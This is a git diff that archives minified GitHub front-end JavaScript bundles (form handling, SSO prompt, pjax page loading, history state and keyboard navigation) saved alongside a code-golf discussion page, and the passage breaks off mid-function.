a=i.nodeName.toLowerCase(),n=(i.getAttribute("type")||"").toLowerCase();return a==="select"||a==="textarea"||a==="input"&&n!=="submit"&&n!=="reset"||i.isContentEditable}s(m,"isFormField");function v(i){return new URLSearchParams(i)}s(v,"searchParamsFromFormData");function _(i,a){const n=new URLSearchParams(i.search),b=v(a);for(const[S,R]of b)n.append(S,R);return n.toString()}s(_,"combineGetFormSearchParams");function L(i){return v(new FormData(i)).toString()}s(L,"serialize")},55741:(M,w,c)=>{c.d(w,{M:()=>f,T:()=>l});var h=c(14840),p=c(56238);function f(n,b=!1){return l(n)||v(n,b)||i(n)||a(n)}s(f,"hasInteractions");function l(n){for(const b of n.querySelectorAll("input, textarea"))if((b instanceof HTMLInputElement||b instanceof HTMLTextAreaElement)&&r(b))return!0;return!1}s(l,"hasDirtyFields");function r(n){if(n instanceof HTMLInputElement&&(n.type==="checkbox"||n.type==="radio")){if(n.checked!==n.defaultChecked)return!0}else if(n.value!==n.defaultValue)return!0;return!1}s(r,"formFieldValueChanged");let d;async function E(n,b){d=n;try{await b()}finally{d=null}}s(E,"withActiveElement");function g(n){return d instanceof Element?d:n&&n.ownerDocument&&n.ownerDocument.activeElement?n.ownerDocument.activeElement:null}s(g,"getActiveElement");let m;document.addEventListener("mouseup",function(n){m=n.target});function v(n,b){const S=g(n);return S===null||b&&S===n?!1:S===n&&(0,p.sw)(S)||n.contains(S)&&!L(S)?!0:m instanceof Element&&n.contains(m)&&!!m.closest("details[open] > summary")}s(v,"hasFocus");const _="a[href], button";function L(n){var b;if(n instanceof h.Z)return!0;const S=n instanceof HTMLAnchorElement||n instanceof HTMLButtonElement,R=(b=n.parentElement)==null?void 0:b.classList.contains("task-list-item");if(S&&R)return!0;if(!(m instanceof Element))return!1;const j=n.closest(_);if(!j)return!1;const H=m.closest(_);return j===H}s(L,"activeElementIsSafe");function i(n){return n.matches(":active:enabled")}s(i,"hasMousedown");function a(n){return!!(n.closest(".is-dirty")||n.querySelector(".is-dirty"))}s(a,"markedAsDirty")},17463:(M,w,c)=>{c.d(w,{P:()=>h,t:()=>f});function h(l){const r=[...l.querySelectorAll("meta[name=html-safe-nonce]")].map(d=>d.content);if(r.length<1)throw new Error("could not find html-safe-nonce on document");return r}s(h,"getDocumentHtmlSafeNonces");class p extends Error{constructor(r,d){super(`${r} for HTTP ${d.status}`);this.response=d}}s(p,"ResponseError");function f(l,r,d=!1){const E=r.headers.get("content-type")||"";if(!d&&!E.startsWith("text/html"))throw new p(`expected response with text/html, but was ${E}`,r);if(d&&!(E.startsWith("text/html")||E.startsWith("application/json")))throw new p(`expected response with text/html or application/json, but was ${E}`,r);const g=r.headers.get("x-html-safe");if(g){if(!l.includes(g))throw new p("response X-HTML-Safe nonce did not match",r)}else throw new p("missing X-HTML-Safe nonce",r)}s(f,"verifyResponseHtmlSafeNonce")},45075:(M,w,c)=>{c.d(w,{ZG:()=>r,q6:()=>E,w4:()=>d});var h=c(8439);let p=!1;const f=new h.Z;function l(g){const m=g.target;if(m instanceof HTMLElement&&m.nodeType!==Node.DOCUMENT_NODE)for(const v of f.matches(m))v.data.call(null,m)}s(l,"handleFocus");function r(g,m){p||(p=!0,document.addEventListener("focus",l,!0)),f.add(g,m),document.activeElement instanceof HTMLElement&&document.activeElement.matches(g)&&m(document.activeElement)}s(r,"onFocus");function d(g,m,v){function _(L){const i=L.currentTarget;!i||(i.removeEventListener(g,v),i.removeEventListener("blur",_))}s(_,"blurHandler"),r(m,function(L){L.addEventListener(g,v),L.addEventListener("blur",_)})}s(d,"onKey");function E(g,m){function v(_){const{currentTarget:L}=_;!L||(L.removeEventListener("input",m),L.removeEventListener("blur",v))}s(v,"blurHandler"),r(g,function(_){_.addEventListener("input",m),_.addEventListener("blur",v)})}s(E,"onInput")},2061:(M,w,c)=>{c.d(w,{j:()=>h,u:()=>p});function h(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let r=p(l);if(f.name){const d=f.matches("input[type=submit]")?"Submit":"",E=f.value||d;r||(r=document.createElement("input"),r.type="hidden",r.classList.add("is-submit-button-value"),l.prepend(r)),r.name=f.name,r.value=E}else r&&r.remove()}s(h,"persistSubmitButtonValue");function p(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}s(p,"findPersistedSubmitButtonValue")},25833:(M,w,c)=>{c.d(w,{Z:()=>L});var h=c(12737),p=c(29719),f=c(64463);function l(i){return new Promise(a=>{i.addEventListener("dialog:remove",a,{once:!0})})}s(l,"waitForDialogClose");function r(i){const a=document.querySelector(".sso-modal");!a||(a.classList.remove("success","error"),i?a.classList.add("success"):a.classList.add("error"))}s(r,"setModalStatus");function d(i){const a=document.querySelector("meta[name=sso-expires-around]");a&&a.setAttribute("content",i)}s(d,"updateExpiresAroundTag");async function E(){const i=document.querySelector("link[rel=sso-modal]"),a=await(0,h.W)({content:(0,p.a)(document,i.href),dialogClass:"sso-modal"});let n=null;const b=window.external;if(b.ssoComplete=function(S){S.error?(n=!1,r(n)):(n=!0,r(n),d(S.expiresAround),window.focus()),b.ssoComplete=null},await l(a),!n)throw new Error("sso prompt canceled")}s(E,"ssoPrompt"),(0,f.N7)(".js-sso-modal-complete",function(i){if(window.opener&&window.opener.external.ssoComplete){const a=i.getAttribute("data-error"),n=i.getAttribute("data-expires-around");window.opener.external.ssoComplete({error:a,expiresAround:n}),window.close()}else{const a=i.getAttribute("data-fallback-url");a&&(window.location.href=a)}});function g(i){if(!(i instanceof HTMLMetaElement))return!0;const a=parseInt(i.content);return new Date().getTime()/1e3>a}s(g,"expiresSoon");async function m(){const i=document.querySelector("link[rel=sso-session]"),a=document.querySelector("meta[name=sso-expires-around]");if(!(i instanceof HTMLLinkElement)||!g(a))return!0;const n=i.href;return await(await fetch(n,{headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})).json()}s(m,"fetchSsoStatus");let v=null;function _(){v=null}s(_,"clearActiveSsoPrompt");async function L(){await m()||(v||(v=E().then(_).catch(_)),await v)}s(L,"__WEBPACK_DEFAULT_EXPORT__")},6741:(M,w,c)=>{c.d(w,{RB:()=>p,qC:()=>f,w0:()=>h});class h{constructor(r){this.closed=!1,this.unsubscribe=()=>{r(),this.closed=!0}}}s(h,"Subscription");function p(l,r,d,E={capture:!1}){return l.addEventListener(r,d,E),new h(()=>{l.removeEventListener(r,d,E)})}s(p,"fromEvent");function f(...l){return new h(()=>{for(const r of l)r.unsubscribe()})}s(f,"compose")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-af52ef-e439d69777c7.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js new file mode 100644 index 0000000..f4bf598 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var me=Object.defineProperty;var t=(C,v)=>me(C,"name",{value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_behaviors_pjax_ts"],{41307:(C,v,d)=>{d.d(v,{ZP:()=>M,y0:()=>le});var f=d(6170),c=d(54293),l=d(61161),m=d(49815),p=d(12981),E=d(45922);const u=20;let a,h=null;function s(r,o,e){return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}t(s,"dispatch");async function M(r){var o,e,n,y;const i={push:!0,replace:!1,type:"GET",dataType:"html",scrollTo:0,...r};i.requestUrl=i.url;const g=I(i.url).hash,S=i.container,T=N(S);a||(a={id:O(),url:window.location.href,title:document.title,container:T,fragment:i.fragment},(0,f.lO)(a,a.title,a.url)),h==null||h.abort();const{signal:w}=h=new AbortController;i.push===!0&&i.replace!==!0&&(ae(a.id,j(S)),(0,f.qA)(null,"",i.requestUrl)),s(S,"pjax:start",{url:i.url}),s(S,"pjax:send");let x;const b=ce();try{x=await fetch(i.url,{signal:w,method:i.type,body:i.data,headers:{Accept:"text/html","X-PJAX":"true","X-PJAX-Container":T,"X-Requested-With":"XMLHttpRequest","X-PJAX-VERSION":(o=b.pjax)!=null?o:"","X-PJAX-CSP-VERSION":(e=b.csp)!=null?e:"","X-PJAX-CSS-VERSION":(n=b.css)!=null?n:"","X-PJAX-JS-VERSION":(y=b.js)!=null?y:""}})}catch{x=void 0}if(!x||!x.ok){const D=s(S,"pjax:error");if(i.type==="GET"&&D){const Q=x&&x.headers.get("X-PJAX-URL"),fe=Q?I(Q).href:i.requestUrl;(0,E.b)({pjaxFailureReason:"response_error",requestUrl:i.requestUrl}),U(fe)}s(S,"pjax:complete"),s(S,"pjax:end");return}const K=a,ee=se(),te=x.headers.get("X-PJAX-Version"),ue=await x.text(),A=Y(ue,x,i),{contents:$}=A,ne=I(A.url);if(g&&(ne.hash=g,A.url=ne.href),ee&&te&&ee!==te){s(S,"pjax:hardLoad",{reason:"version_mismatch"}),(0,E.b)({pjaxFailureReason:"version_mismatch",requestUrl:i.requestUrl}),U(A.url);return}if(!$){s(S,"pjax:hardLoad",{reason:"missing_response_body"}),(0,E.b)({pjaxFailureReason:"missing_response_body",requestUrl:i.requestUrl}),U(A.url);return}a={id:i.id!=null?i.id:O(),url:A.url,title:A.title,container:T,fragment:i.fragment},(i.push===!0||i.replace===!0)&&(0,f.lO)(a,A.title,A.url);const Z=document.activeElement,de=i.container!=null&&i.container.contains(Z);if(Z instanceof HTMLElement&&de)try{Z.blur()}catch{}A.title&&(document.title=A.title),s(S,"pjax:beforeReplace",{contents:$,state:a,previousState:K}),R(S,$),(0,c.b)(),(0,c.o)();const z=S.querySelector("input[autofocus], textarea[autofocus]");z&&document.activeElement!==z&&z.focus(),A.scripts&&oe(A.scripts),A.stylesheets&&re(A.stylesheets);let G=i.scrollTo;if(g){const D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let 